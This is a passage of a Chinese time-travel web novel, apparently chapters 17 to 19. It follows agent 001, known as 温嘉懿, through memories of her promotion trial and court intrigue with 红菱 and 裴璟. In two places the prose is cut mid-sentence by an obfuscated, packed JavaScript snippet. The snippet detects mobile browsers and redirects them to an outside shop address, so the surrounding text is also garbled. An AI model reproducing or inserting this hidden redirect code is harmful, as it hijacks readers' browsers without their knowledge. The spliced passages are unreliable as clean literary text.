对于这些褒贬不一的评价,温嘉懿不以为耻,反以为荣,这是她生命中不可磨灭的功勋和奖章,最终都会随时间化作制服上的一排排肩章,没什么好刻意遮掩的。 “……” “……” 北郊溪边这片土地坑洼不平,尤其在下过雨后,肮脏发黏的泥块混着碎石子堆在上面散落一地,红菱被她这番话逗得轻笑出声,温嘉懿不着痕迹将她整个人虚护在安全的地方,像是想到什么,忽然出声道:“话虽如此,但作为首席执行官,我也有很多不足的地方需要改进。” 红菱眸光认真地看着她,过了片刻,缓缓摇了摇头。 她说一切都可以放心交给她时的语气那样坚定,伸手拉起宁昭时的神色那样温柔,怎么会如同传闻中说得那般凶神恶煞。 那些不明真相的人只看到了首席执行官为了立威不得不展现出的凶残一面,却没有看到她为过往时代的天下万民,以及为千万人出生入死的决心。 在红菱心里,首席执行官就是真正的救世主,她真正领悟了管理局对新公历时代人类的训诫,是可以拯救所有时空执行者的人。 温嘉懿极缓地叹了口气,她知道红菱把自己当作能够回现实世界的希望和寄托,所以只告诉了她自己的记忆有损,没有说同行之人的魂灯已经熄灭,甚至管理局也出现了人数未知的叛徒。 某些时刻,她不想平添红菱的烦恼,也很少诉说自己的过往,温嘉懿总认为把这些不痛不痒的困难讲出来很矫情,她作为能力者,天生就应该能者多劳,而在外人面前展现脆弱就会显得她不再强大,毕竟这世上比她苦的人有太多。 晨光透过枯败的柳枝缝隙,悉数渗透笼罩在她的脸上,能看到一些细小的白色绒毛。温嘉懿扔掉那些属于首席的枷锁和包袱,主动开口道:“我并没有你想的那么完美,我也会失败。” “在没当上首席执行官之前,我曾执行过一次很凶险的任务。” “那是晋升考试的最后一关。在玻璃光球内的万千世界中随机选取一个陌生时代,不能依靠金手指的帮助,只保留新公历时代的一切身体素质,在暗河洪流中生存满一百日。” “一旦成功,我便能名正言顺成为时空管理局的首席执行官。” “听上去很难,就像一个不可能完成的任务,这对人的身体素质要求实在太高,寻常人都无法做到。”红菱闻言不禁看向她,眸色亮了起来:“但首席你还是成功了。” 风穿过溪畔柳丛的枯枝残条,发出呜呜的声响。 一阵长久的寂静后,温嘉懿似是轻轻笑了一声,慢慢道。 “我失败了。” 她在言语间依旧闲谈自如,好像不是在说那些深不可测的危险,而是在阐述一件微不足道的小事:“第九十天,我就已经到了当时那具身体机能所能达到的极限,无法再继续坚持下去。” “濒死之际,有一个人救了我。” “所以我成功活过了一百天,成为了新公历时代的最强能力者。” 原来是这样。红菱忽的怔住,指尖微微攥紧了衣料。 温嘉懿没有过多解释这次失败的任务,她抬眼望向远处的眸光平静无澜,一双眼中仿佛静静流淌过几千年奔流不息的历史长河,而她作为一切源头的见证者,却仍然心怀敬畏。 “成为首席执行官的这些年,我接过太多任务,见过太多时代更迭、江山改朝换代。有时在任务世界里一过就是几十年,快比在管理局休息的时间还要长。” “时间越久,我越记不清她的面容,只记得我穿过去时,那个朝代看上去并不安稳,战乱频发,尸横遍野。但为不暴露异世之人的身份,我没有和她交流过多有关世界的信息。” “我只记得,她是一位将军。” 记得她的红缨长枪可刺破日月,记得她的浩然剑气可撼动山河。 红菱转而出声问道:“他是男将军还是女将军?” “女将军。” 温嘉懿回答得很快,反应过来后才觉得她的话似乎很值得引人深思,于是微笑起来。 红菱没注意到这些,她微微蹙着眉,思考道:“从古至今,允许女子为将的时代并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524587|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算多,首席如果要想知道是谁,回去以后我陪你一起查,或许……她也曾青史留名呢。” “能回去”在她心中好像已经是一件必然会发生的事,温嘉懿笑着看她一眼,并未说什么打击她的话,而是道:“最开始,我也这样想,甚至那一年考完试回去时,我还专门动用了升上来的首席权限去找一些史书翻查,想着我说不定是被哪位知名人士救了,有朝一日还能和你们吹嘘一番。” “但我没有找到。” 红菱不禁追问:“难道一个符合条件的都没有吗?” “并非如此。” 温嘉懿敛眸道:“是因为,历史上那些大名鼎鼎的女将军,最后大多没能落得一个称心如意的下场。” “所以我害怕了。她在我心里是一个极好极出色的人,以至于我不想知道她的结局,我怕我不能接受,也怕我自己因此产生逆转结局的想法。” 红菱的心中猝不及防一震。 逆转结局。 是啊。 一个能力很强的人,往往不能拥有太多私人情感。 风吹起她披在身后的狐裘,吹起她青色的衣衫,温嘉懿却没想那么多,她不停地往前走着,思绪被拉回到很远之前。 新公历时代对管理局的学员而言虽然没有必修课,但不妨碍史学这一门依旧是她最讨厌的课程。 她不喜欢太过理论化的东西,唯一一次在史学课中没迟到早退,是因为那日史学老师在为台下的新晋学员讲一位女官的晋升之路。 不知是台上的老师讲述得太绘声绘色,还是她本来就很敬佩这样的人。 总之当时的001选择留了下来。 老师告诉她,那女官原本身份低贱,做尽风流之事,偶然一次侥幸脱离奴籍,从此通过科考走上了为官之路。 最开始,她没有背景,只得阿谀奉承曲意逢迎为了一级小小官位,甚至不惜被千夫所指万人唾骂说她不择手段。 后来,她尝到甜头节节攀升,也渐渐有了一些实权可用,却从未忘记立身之本。 她开始与当时朝中贪污腐败的文官集团作对,与世家大族中的既得利益者作对,一意孤行提出减灾赋税、暂缓徭役、重修律法。 她凭借自己的手段走到很高的位置,为生民立命,为万世开太平。 但同样的,她也没有一个好结局。 最后一帧投影渐渐熄灭,课程结束,刺眼炫目的聚光灯在讲台中央汇聚又分散,那时尚未成为首席的001随众人站起身热烈鼓掌,却始终没有知道女官的名字。 这是大家心中的一个不成文规定——除开所有相关史料和与既定结局有关的人物,时空执行者没有资格知道其他人的姓名,用来防止有些人试图穿越回去篡改历史。 001从来不是什么听话懂事的学生,想做什么就一定要做到,于是她守株待兔,蹲在史学老师下课回家的必经之路上,央求了足足两个小时。 她讨好似的搓了搓两人的手掌心,眨了眨眼道:“老师,求您了,您就告诉我嘛?这可是一手史料,最新的爆炸性新闻,我跟那些不通史实的蠢男人可不一样,我知道的越多,往后执行任务就越方便。” “况且以我的能力和水平,还有我这铁面无私的性格,我是绝对不会有私心的,您还不相信我?” 史学老师听完笑着打了她一下,调出光脑查找相关资料,她实在拗不过她,也一向喜欢这个孩子。 秋日的枫叶似纷纷扬扬的柳絮般飘落,有几片飘在空寂的街道上,也落在001的头顶。 “她叫宁昭。” “……” 话音散去的那一刻,历史的车轮如同滚滚长江向既定方向奔流逝去,不可阻挡的碾碎过往时光,一去不返。 18.第十八章 上元节过后,天音楼被查封的事闹得沸沸扬扬。 坊间传闻,此等花红柳绿的风月之地,掌事人不仅毫无底线,动辄打骂欺辱楼中的歌姬舞娘,使她们日夜生活在水深火热之中苦不堪言,更罔顾大梁律法,私设地下赌场,将非奴籍者的妇孺老少辗转各州府随意贱卖,戕害无数平民百姓。 光这些罪名还不够,据说当时皇家禁军和官府的人赶到后派侍卫搜查赌场寻找罪证,竟还无意间发现了赌场最下层的铁牢里关着几位世家大族的贵女。 流言如此,至于是否真的是无意间,又是否真的是世家贵女,就显得无关紧要了。 毕竟京中轶事向来是市井百姓茶余饭后的消遣谈资,就连长街巷尾的茶楼酒肆也无一不在悄悄议论,甚至隐隐有盖过三殿下替皇帝祭天游神的势头。 更有甚者放出消息,大梁开国之初,曾有一位女官为检举此地的龌龊勾当而不幸命丧黄泉,被掌事人掩盖真正死因报以暴毙身亡。 此话一出,可谓一石激起千层浪,两件事叠加在一起骤然引起群情激愤,且因地下赌场之事涉及经年旧案和世家名声,惊动了大理寺和刑部一同受理协查。 这样浩大的声势和阵仗,长安城内几乎家喻户晓,虽说谣言止于智者,这些丑事被官府和有司衙门极力镇压,但到底纸包不住火,法不责众。 何况几位当事人并不在意那些莫须有的清白虚名,巴不得这把火烧得再旺一些,最好能烧穿整个王朝,烧毁整座皇宫。 “……” “……” 寒冬夜,长安城下过一场大雪,裴府的柳树枝条上落了几捧簇簇薄雪。 西侧殿的两盏烛灯燃起,刹那间照亮了来者棱角分明的侧脸。 橘红焰苗飘摇明灭,炭火在盆中噼里啪啦地烧着,溅起星星点点的火苗。 温嘉懿将手中的剪子放在檀木桌案上,清透的眸光微垂敛起,搁置在侧殿最中央的暖炉漫开层层热浪,她提步走过去,一双手虚虚放在上方取暖。 想起红菱最后告诉自己的那个名字,她久违地回忆起一些新公历时代的事。 “……” 柔和的光束自苍穹顶洒落,两侧的墙壁在光柱的照射下透出淡蓝色光辉,远远望去,犹如精密严谨的数据在其中逆行倒转。 001姿态悠闲地站在大殿中央,她随意抬手碰了碰唇角的血渍,将长发束成利落的高马尾,面上一副漫不经心的神情。 这项任务至关紧要,牵扯到该历史线往后几千年人类的生死存亡,她主动开口道:“我愿意前往。” 旁边欲言又止的003终于按耐不住,她从椅子上起身阻拦,连执行官也不喊了:“你想出风头没完了?先不说这条时间线所属地不在你管辖的领域,要去也是我的优先级最高。” 她特意偏开眼没看001身上的伤口,神态略有些不自然道:“再者,你一个刚从SS危险级任务世界回来的人,还未进生物舰检测身体机能,出问题谁负责得起?” 理事长似乎也不赞同她的做法,极轻地叹了口气道:“该世界的信息源极其稀少,一旦进入,系统会受时代限制和时空管理局失去联系,即便你的权限再高,也无法正常使用所有能力。” “倘若需要改变的历史节点无法逆转,你将不能回到现实世界。” “你想好了吗?” 001没理003长篇大论的论述,也不在意她是否真的那样关心自己。 她淡淡垂眼,无所谓地勾唇一笑:“人类时空管理局的训诫,001从来牢记于心。” 这八个字严丝缝合地缠绕进她的灵魂,如同拿刀一笔一划镌刻在她心里一般。 003有时觉得,她简直就像没有感情的机器人,于是气得摔门拂袖而去。 理事长无奈,只好通过光脑向她开放了进入世界的权限,仔细重复交代道:“你的任务权限最高,既然接取任务,便可以选择一样物品带入该世界,不过切记……” “切记不可将物品留在子世界中。” 001笑着接话,将腰间别的武器卸下,丢在一边的数据池中恢复性能。 不知为何,001忽然有种很强烈、甚至即将冲撞皮肉快要跳出来的预感。 这项任务只有她可以做到,似乎有谁在那里等着自己。 她一直背在身后的左手轻轻拨弄着食指上的玉环,指腹珍重而缓慢地婆娑着缺痕:“不用了,我没什么要带的。” 权限一路畅通,001闭上眼,再次触碰空气中悬浮的玻璃光球,面前自动出现了新的任务系统,紧接着缩入她随身携带的玉环中。 【请选取您本次的行动代号——】 001用光脑控制点下随机生成。 【已为您随机生成本次任务代号——温嘉懿。】 【任务身份:大梁三皇子秦书贴身近侍】 她的指尖微不可查一颤。 【即将前往任务地点,祝您任务顺利。】 “不论何时,不论何地,请牢记你的身份和使命。” 这是每个时空执行者出任务前都会听到的一句话,用来警醒执行者的身份,不可沉迷在过往世界中,更不能擅自修改历史。 001在这里来来往往听了太多次。 一束光将她温柔包裹,刹那间消逝不见。 “……” 烛灯依旧在殿中沉寂无声地燃烧着,几滴烛泪顺着灯柱蜿蜒而下,这句话在回忆中落下的瞬间,温嘉懿倏然回神,坐回案前。 时空管理局规矩森严,最明令禁止的便是执行者不得擅自修改历史线,违者将受天惩。 所谓天惩,就是管理局专为执行者成立的刑罚室,无论是谁,任务等级权限有多高,犯错受罚一视同仁。 刑罚室的惩罚等级分很多种,对身体的损伤程度也有所不同。 因为执行者穿梭来往于各个世界,他们思想先进,治国理政理念遥遥领先,想要不被人察觉身份完成任务,总会或多或少改变当前时代的一些局势。 但只要不修改史书中已经出现并记载的内容,以及任务世界的最终结局,大部分情况下管理局都会视而不见。 时空执行者能力出众,受万人敬仰,同样所受的限制也比其他公民要多。 至少他们的自由,从来都没有资格由自己书写。 在极少数躺在生物舰治疗伤口的时候,温嘉懿会目不转睛地盯着上方不停运作的高科技机械,漫无目的地想,来往千年,她们做这一切的意义究竟是什么。 然后那八个字又会重新浮现在她心头,让她无法继续深思下去。 殿外,来人穿过蜿蜒曲折的青石板路,轻轻叩响了门。 温嘉懿单手撑腮,百无聊赖地一下一下敲着桌案。 两道清脆的声音渐次响起,竟意外相得益彰。 “叩叩——” 她动作一滞,理了理衣袖道:“进。” 得到肯定的答复,裴璟缓缓伸手推开门。 檐下悬挂着的灯笼晕开一片暧昧不清的光影,清寒月光透过那道缝隙洒下,将他高挑的身影拉得颀长。 那颗玉珠坠在他的耳垂上,底端系着的鲜亮红绳与其交相辉映,裴璟衣着单薄,只搭了件青色披肩,露出底下雪色中衣的领口,锁骨隐现,看上去有种略显病态的脆弱,却不失优雅清贵。 时下天寒,夜色已深,他未束发髻,墨发如瀑散在肩颈上,两鬓洇着一点薄薄的水意。 殿中点燃的烛灯并不多,室内的光线近乎有些昏暗了,这副场景让外人看来难免想入非非,见到他,温嘉懿上扬的眉目轻佻,神情似笑非笑道:“这么晚,殿下找我有事情?” 闻言,裴璟轻轻抬眼,望向她的眸中水汽氤氲,下方垂落的几根眼睫上染了一层湿冷的薄雾,许是不久前刚沐浴过,眸底漾着的柔光软得像浸了温水的棉絮。 他缓步走到她面前,身上那股由内而外散发的清凉寒气也随之逼近,微微俯身,将一封拜帖递给她:“是。” 递完拜帖,裴璟的身形仿佛极快地向后撤了半分,分明没有直接触碰到彼此的体温,而他拢在袖中蜷缩的指尖都在不由自主颤抖。 温嘉懿却并未察觉,她不明所以接过看了看,接着目光一顿,转而饶有兴趣道:“清谈会?” 这些古人的风雅之事她不算很熟,但出任务前,她曾恶补过一些史学知识,了解到有些世家大族的儿郎贵女,比如未到入仕年纪但往后想走这条科举路的,或是胸藏文墨腹有诗书的,多半会通过一些清谈会、雅集会、诗集会来使自己崭露头角、名声大噪。 其中清谈会多以辩论玄学问题为主,主要内容以《老子》《庄子》《周易》为基础构成大致框架,主题涉及名教与自然之辨、本体有无之辨、言意之辨、才性之辨等等,来探讨世界本源和一些哲学问题。 三玄经典永流传,只是万万没想到,这项风流雅事传至大梁时,其主要目的已经演变成了方便日后相看议亲。 温嘉懿眼皮抽了抽,不禁腹诽道,就是从现代的学术辩论变成了半个古代相亲大会。 她像是想起什么,挑眉道:“殿下,我记得你和我说过,上元节的合宫夜宴都没给你下帖子,怎么如今一个平平无奇的清谈会还能想到你?” 裴璟面容清隽,神色依旧沉静从容,不着痕迹收回落在她身上的视线,话音顿了顿,复又温声道:“并非平平无奇,此次清谈会由当今皇后一手操办,遍邀氏族中人。” “皇后?谢宁?” 那就说得通了。 她的好儿子秦砚景苦心经营多年的地下赌场一朝灰飞烟灭,还被几位他认为最无用、最看不上眼的世家女给狠狠摆了一道,任谁都不会轻易善罢甘休。 现下由谢宁亲自出面做这个局,极大可能是要豁出身份来为他重新拉拢人心,再狠狠敲打那些认为秦砚景就此式微要转投入秦书门下的人。 她谢宁还好端端地坐在这,坐在大梁皇后的位置上呢。 真是一片慈母情深,做的还是个人人家中资产过亿的局。 温嘉懿笑意未改:“既是皇后出面,想来这几位皇子公主……秦书也会到场?” 裴璟清润俊秀的眉眼低垂下来,识趣地没有问她为何要关注一个从未有过交集的人,只敛目低声回答:“原是该如此,但三殿下因操劳祭天一事,几日前不慎染了风寒痛症,故而不能前往,只得缺席。” 这哪是真病了。 明眼人谁不知道秦书和秦砚景早已势同水火,谢宁的鸿门宴,秦书自然要收敛锋芒退避三舍。 又失去一个可以提前接近他的机会。 温嘉懿一颗心往下沉了几分,却面不改色地继续试探道:“说起来,谢家不是从大梁开国起就是铁打的皇亲国戚?谢悬虽然力保三殿下祭天,但也未必就肯拥护他上位,皇后就如此急不可耐,要为秦砚景相看别家女子,这不是明晃晃的打谢家脸吗?” 她说这话时完全忘了温子瑜也是这具身体的亲哥哥,而她本人几天前还拿剑指着对方脖子要他帮忙,一派威风模样:“难道就不能再想办法游说一下她哥哥?亲兄妹之间也分得这么清?” “自然不会让其他人有可乘之机。”裴璟认真道:“所以所谓相看,也只是有为侧妃之心。” 这听上去就更荒谬了,温嘉懿很难以现代人的思想接受这些早该丢弃的封建糟柏:“先不说什么侧妃不侧妃,这些世家大族的女子怎么说也是京中有头有脸的人,家里祖辈为官世代清流,如今立储之事尚未有定论,秦砚景又不是板上钉钉的太子,她怎么好意思的?” 若她没记错的话,在后世记载的这一段历史中,三皇子秦书不仅深受孝文帝喜爱,刚及弱冠不久便早早掌权,而且手下之人早就渗透六部,各司其职处理政闻要务。 承平十八年末,孝文帝甫一病重,便由他监国统摄百官,秦砚景从头到尾都只担了个亲王虚衔。 但这怪不了任何人,以秦砚景的心智和才能,偏安一隅做个守城之主都算十分勉强,想当年谢悬统率三军战功赫赫,是出了名的钢铁手腕,他母亲谢宁身为一国之母治下有方更是雷霆手段,谁也没料到他竟如此平庸。 或许秦砚景在普通人中能称得上一句佼佼者,可他偏偏生在九死一生的皇室,生在一个资质平庸就是有罪的地方。 温嘉懿唇边勾起一抹讥讽的笑容:“况且名门贵女凭什么肯给他做妾?即便她们未来不走科举路,他秦砚景又有何过人之处?就凭他投了个好胎?” 这一番点评当朝皇子的话若传扬出去,属实有点以下犯上了,裴璟喉间溢出一声极轻的笑,轻得像要融入周遭的寂静里,似意有所指道:“倘若不肯,便是另外一条路了。” “……” 他言语间的暗示已经足够明显, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541741|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温嘉懿的笑意缓缓敛起,过了片刻才开口道:“所以殿下的意思是,想让我陪你一起去?” “我来征求你的意见,你想以什么身份前往。” “我还能以什么身份?世子殿下未来入宫念书的伴读?”温嘉懿打趣道:“当然,若殿下想让我以什么别的身份也可以……那我可要索取点另外的报酬了,总归我不会吃亏。” 裴璟无可奈何地看向她,正色道:“我并非此意,这封拜帖递给了朝中各世家子女,罗家、谢家、裴家……你也有一份。” 温嘉懿笑了一声:“我?谢宁堂堂一国皇后,总不会往相宁寺递拜帖吧,她送也只会给温家送帖子,我那便宜哥哥不会……” 殿中唯余摇曳的烛火噼啪轻响,静得仿佛能听见灯花爆裂的微声。 “砰——” 【系统提示,正在检测您的幸运数值】 【当前幸运值:0】 尾音散在这片安谧的寂静中,温嘉懿忽然止住话头,眼神蓦地一凛,电光火石间,她霍然起身,不由分说扯住他藏在披风下的一截手腕,将裴璟径直往自己身边带去。 “……” “……” 晶莹剔透的玉珠牵动红绳摇晃,她白皙柔软的指尖在不经意间触碰到他微凉的皮肤,如触电般的酥麻感瞬间窜遍四肢百骸。 裴璟倏然怔在原地,喉结吞咽着微滚了一圈,他的指腹颤抖地攥紧身侧的锦衣玉料,没有任何防备被温嘉懿扯得踉跄几步,几乎是跌跌撞撞地栽倒进她怀里。 一阵清冽好闻的香气和凉意悄无声息扑面而来,在空气中无声交融纠缠,原本安分倒映在他黑亮瞳孔的人影此刻急剧缩小,直至分散又汇聚成一个能够重新聚焦的点。 两人之间的距离近到能感受彼此滚烫灼热的呼吸,说不清是谁的心跳声震鼓连天,温嘉懿平稳的呼吸微顿,她偏开眼,手臂一收,自然拢住他一只手就能折断的脖颈,以绝对保护的姿态将裴璟往自己肩膀上压。 脸颊两侧弥漫的红意后知后觉大片漫过后耳根,他就这样顺从地靠在她肩上,方才沐浴过后的那点湿意,连带着发间未干的水珠随他的动作滚落滑动,在她裹着白绒毛的衣襟上晕出一小片浅淡的湿痕。 裴璟敏锐注意到这一点,没有出声,也没有询问她突如其来的动作所谓何意,更没有回抱住她,他安静地垂眸,接着温驯地、又或者可以说是小心珍重地缓缓阖上眼皮,隐没在黑暗中的神情甚至能称得上有些虔诚痴迷。 好像她给予他的一切,雷霆雨露,俱是天恩。而他像一个忠诚至极的信徒,将高高在上不染凡尘的师父视作世间唯一的神明,用神明教给自己的道理和规则在这个处处不合他意的时代小心翼翼苟延残喘生存,把与神明的每一次触碰、交谈都当做最后一次救赎。 神明告诉他,聚散有时,会者定离,所以他听话乖驯地说,我在未来等你。 于是过往逝去的时光回流逆转无数次,在所有可供挑选的时间节点里最终选择停滞在此刻—— 他从幼时起就开始仰望的神明佛像终于睁开无悲无喜的眼眸,同时她伸手拥抱住他,将他搂入怀中渡回苦海岸边,这一瞬间就是记忆中能够抵达的世界尽头,是裴璟渴望思慕多少年的最完美结局。 当年凭栏远眺,他望到的盎然春山慷慨给予了他最热烈的回应,而神明无论说什么他都会点头应承,哪怕要他去死他也会毫不犹豫拔剑自刎。 与之相反,温嘉懿反倒没有这么多旖旎心思。 她搂紧他的肩,面无表情地踢翻凳子,眼神冰冷,在心中默默倒数。 三、二…… 下一刻,两根用绳子捆在一起的箭矢破空而行,直直穿透窗户上糊的明纸,擦着裴璟的肩膀边缘飞过,分毫不差地钉入身后那根柱子中,连位置都与上次一模一样。 那股随之而来的猎猎劲风掀起他青色的披肩簌簌翻飞,箭尾上携带的信封应声而落。 “……” 每次都来这一套。 早在系统出声给予她危险提示之前,温嘉懿就已经察觉到裴府外不远处有车轮碾过的窸窣声响起,她之前见识过一次,因为温子瑜蠢得出奇,传递消息只会这一招。 若是殿中只有她一个人也罢了,但这次不同,倘若这次她没能及时化解危机,这两根箭恐怕就不是插在柱子上那么简单,而是插在裴璟的胸口。 在她眼底下光明正大伤害裴璟的可能性几乎为零,但“两根箭会插进他胸口”这件事只要客观存在,就会让温嘉懿不自觉蹙起眉头。 温嘉懿短暂忘记了如果自己不在这里,这两根箭压根就不会射入裴府,更不会有机会插在他的胸口。 她只是想到裴璟有受伤的可能,其余她什么也没来得及想。 “……” 思绪翩然回转,温嘉懿发觉自己还维持着这个堪称冒犯的暧昧姿势,立刻稍显歉意地松开禁锢他的手。 温软湿润的触感抽离,留下一丝若有若无的痒意扫过,她正欲解释些什么,裴璟却条件反射地拉住了她的手腕。 温嘉懿一怔,慢吞吞地把想说的话悉数咽了回去,她的视线有目的性地慢慢下落,接着落在他这双骨节分明、腕骨瘦窄的手上,犹疑不定道:“……殿下?” 站在对面的少年如同被施了定身咒般,变成一座不会动的泥土雕塑,平日里那些装模作样的温和清冷在一瞬间都化为子虚乌有,碎得片甲不留灰飞烟灭,他掀起的眼皮在颤抖、温热的心脏在震颤。 庭院中的积雪未化,映着月色泛出冷白的光,几缕月光透过被箭矢射穿的窗纸缝隙偏射进来,投下细碎如银的光斑。 烛火将墙面上的影子拉得忽长忽短,温嘉懿抬眼顺着缝隙中渗漏的光看去,似乎悄然窥见他冷漠淡然的外表下,有着一颗最赤诚热烈的心。 周遭一片静默,裴璟迟迟没有应答,只是依旧牵着她的手不放。 是因为这个不能算作拥抱的拥抱让他想到了谁吗? 温嘉懿心中盘桓不定,这张一贯巧言善辩的嘴难得再次卡壳。 其实眼前这个长身玉立的少年,也不过十六岁的年纪。 他的母亲难产而死,父亲一生征战沙场为国尽忠,心中有家国大义,却不能只有自己。 失去双亲那年,裴璟只有两岁。 她叹了口气,决定以年长者的身份默许放纵他偶尔的脆弱和无礼。 19.第十九章 承平四年夏,孝文帝下诏出兵征讨高丽。 与北部边疆层峦叠嶂的陡峭山壁不同,大梁军队一直垒营驻扎在距交界处几十里外的安全地带,远处地界开阔,山崖底部是干涸的河床,仅有一条宽丈余的狭窄山道作为交界地带供粮草军通行,地面覆盖着经年累月的枯枝腐叶。 双方金戈铁马鏖战多时,有捷报传至大梁军帐中,道高丽主力节节溃败,欲遣使携宝册只身赴营求和,承诺此后岁贡以十倍之数尽奉于大梁,千秋万代岁岁称臣。 此举有永为藩属之意,孝文帝传令应允议和。 然不久后前线来报,皖鸿将军执意抗旨不遵,一意孤行带领麾下五万裴家军乘胜追击直逼老巢,不想高丽残余的九千骑兵从崖底两侧的隐秘山道冲出,紧接着混杂无数碎石的狭窄山道轰然崩塌,杀了所有人一个措手不及。 幸有云锦将军在后方支援及时,将与之玉石俱焚的残党尽数歼灭。 “……” “……” 直至次年初冬,长安城第一场大雪纷纷扬扬落下时,诛花一役宣告结束。 云锦将军大败高丽得胜而归,却连皖鸿将军的尸骨都没能带回来。 五万精锐折损,皖鸿将军身亡,他从前的丰功伟绩也被一笔勾销。 世道向来如此,好人做一万件好事是理所当然,只要做一件错事就需受万人批判,而坏人做一万件坏事是十恶不赦,只要做一件好事就可一笔勾销。 裴骁璎生前美名远扬,更有爱兵如子的称号,他自幼时起便跟随叔父参军,性情爽朗利落,每逢边关战事都会与将士们同吃同睡,故深受百姓爱戴。 即使不论这些,他的诗书才情、相貌容颜在京中也是一等一的出挑。 但这位风华绝代的少年将军死因实在过于蹊跷,朝中熟悉裴骁璎的人都清楚他绝非鲁莽之辈,既已知穷寇莫追,又怎会不顾劝阻坚决抗旨? 不少肱骨之臣为他陈词名冤,奏折如流水般涌入御书房,案头堆叠得几乎没过砚台。 孝文帝却视若无睹,只要与此事相关递上来的折子一封都未曾朱批,似乎跟班师回朝的云锦将军同声同气,铁了心认为裴骁璎就是这样作茧自缚死去的,无需再辩。 为彰显帝王仁慈,孝文帝还不计前嫌追封皖鸿将军为定远侯,将他的丧事风光大办,向天下人大张旗鼓地宣告他对这位爱将的回护之心。 尽管裴骁璎最后决策失误致使大梁军队损失惨重,仍然会得到丰厚的赏赐。 皇帝给了裴家一颗囫囵吞下的甜枣,自然也要敲打那些藏匿在暗处的裴家旧部莫要轻举妄动,随后便以其独子裴璟年纪尚小为由暂缓袭爵一事,只道待他行过弱冠礼再议不迟。 裴璟在他手里,接下来无论发生什么,他对这个稚嫩的幼子恩罚皆赏,此事若继续彻查下去,鱼死网破对谁都没有好处。 “……” “……” 伏尸百万的战乱结束,长安城依旧繁华如初。 天音楼来往嫖客人流如织,莲花池畔的灯影摇曳,东郊富人街的芙蓉园丝竹声漫过朱红宫墙,千家万户的烛火通明点亮夜空,一派四海升平的景象。 一切都仿佛未曾改变,唯独裴璟在那年永远失去了父亲。 风裹挟着东南墙角梅枝清冽的淡香,轻轻吹动两人的衣摆。 裴璟半边脸浸润在忽明忽暗的光影中,他的侧面线条凌厉分明,此刻竟隐隐有些难言的阴郁诡谲感,露出的后颈纤细白皙,泛着细腻温润的光泽。 温嘉懿默不作声地站在他身边,目光盯在那节脆弱的后颈上,没有选择挣脱他的手,而是任他牵着自己。 凭心而论,裴璟的身形足够高挑颀长,但若与同龄人对比,还是瘦得有些过分了,好像从小就营养不良似的,隔着衣料都能看见肩胛骨突兀的轮廓。 这偌大一个裴府,光管家女使就将近百余来人,总不能让他连饱饭都吃不上一顿吧? 温嘉懿还没来得及想入非非,裴璟忽然抬眸看向她,长而密的睫毛如蝶翼微颤,语气中带了点孩童般执拗的期盼,开口出声道:“师父,你已经很久没有抱过我了。” 温嘉懿:“……” 她知道裴璟有个已故去的师父,于是眨了眨眼道:“殿下,我不是……” 在相处的这些日子里,两人除了初次见面闹过一些不愉快以外,裴璟在她面前几乎永远都是一副温顺乖驯的模样,说话轻声细语,姿态谦卑恭敬,言谈举止不敢有一丝逾矩。 而今日他却一反常态地强势截住了她所说的话,偏执又急切地想要渴求一个于他而言正确的答案:“你教我学会韬光养晦,教我学会防身之术重振裴家军,教我学会不能在外人面前随意争尖冒头,教我如何在这里生存……” 你是慷慨无私的圣人,也是普度众生的神明。 所以你的眼中从来不能只有我一人。 说到最后,他喉间溢出的声音还有些许委屈哽咽之意:“……你教会我那么多,让我知道怎样才能做一个无可挑剔的世家公子,却没有教会我要怎样面对失去你以后的生活。” “……为什么?师父。” “为什么?” 他的眸光炽热、滚烫,好似连天的烈火烧过荒芜平原一般,他明目张胆地直视着她,握住她手腕的力度加重了几分,漆黑如墨的眼底晃着细碎波澜的水光:“你曾经说过,会永远护着我、陪着我的,为什么现在不作数了?” 真是欲加之罪啊。 耐心听他诉完衷肠,温嘉懿不免觉得有些好笑:“我什么时候……” 然而她的话没来得及说完,他再次打断了她,扯住她的手腕,用力将她拥进怀里。 这次是她没有防备,也没有刻意想要反抗他,两人瞬间严丝合缝地紧贴在一起,裴璟心满意足地触碰到她温热的体温,触碰到她柔软的指尖,随后放任自己认命地闭上眼。 温嘉懿的默许和纵容也有限度,她在百忙之中分出一缕思绪想着,他似乎总是习惯于扮演那个屈居人下的位置,以至于连拥抱时都不妄图想要掌控什么,甘愿奉献任对方索取。 裴璟将头缓缓抵在她的肩上,见她没有出声斥责他,得寸进尺的欲望更加强烈,单手试探着环住她的腰肢。 与此同时,他身上那股混着药味的寒气和凉意也悄悄钻进她的一呼一吸间,让温嘉懿不禁蹙起眉。 这味道苦涩,尽管染上几点梅香也并不好闻,所以她一向敏捷的思维也凝滞住,温嘉懿忽然想起府中随处可见的木制拐杖,想起裴璟其实并不是天生体寒难以成行。 那日她意外摔进他的浴桶里,闻出他常年浸泡的药浴中不仅有苏木的味道,还有几味赤芍、紫草之类的药物。 这些草药药性本就寒凉,又是浸置于热水中,长此以往便会影响下肢气血运行,使得全身血液回流逆转,身体每况愈下。 “……” 在这世上无论是谁,想要得到任何不属于自己的东西,都要付出与之等同的代价,他既要装作不良于行,为家族避祸,便只有自毁这一条路。 思及此,温嘉懿默默叹了口气,另一只没有被他牵住的手在空中抬起又放下,如此反复数次后还是虚虚揽住了他:“殿下,你不舒服吗?” 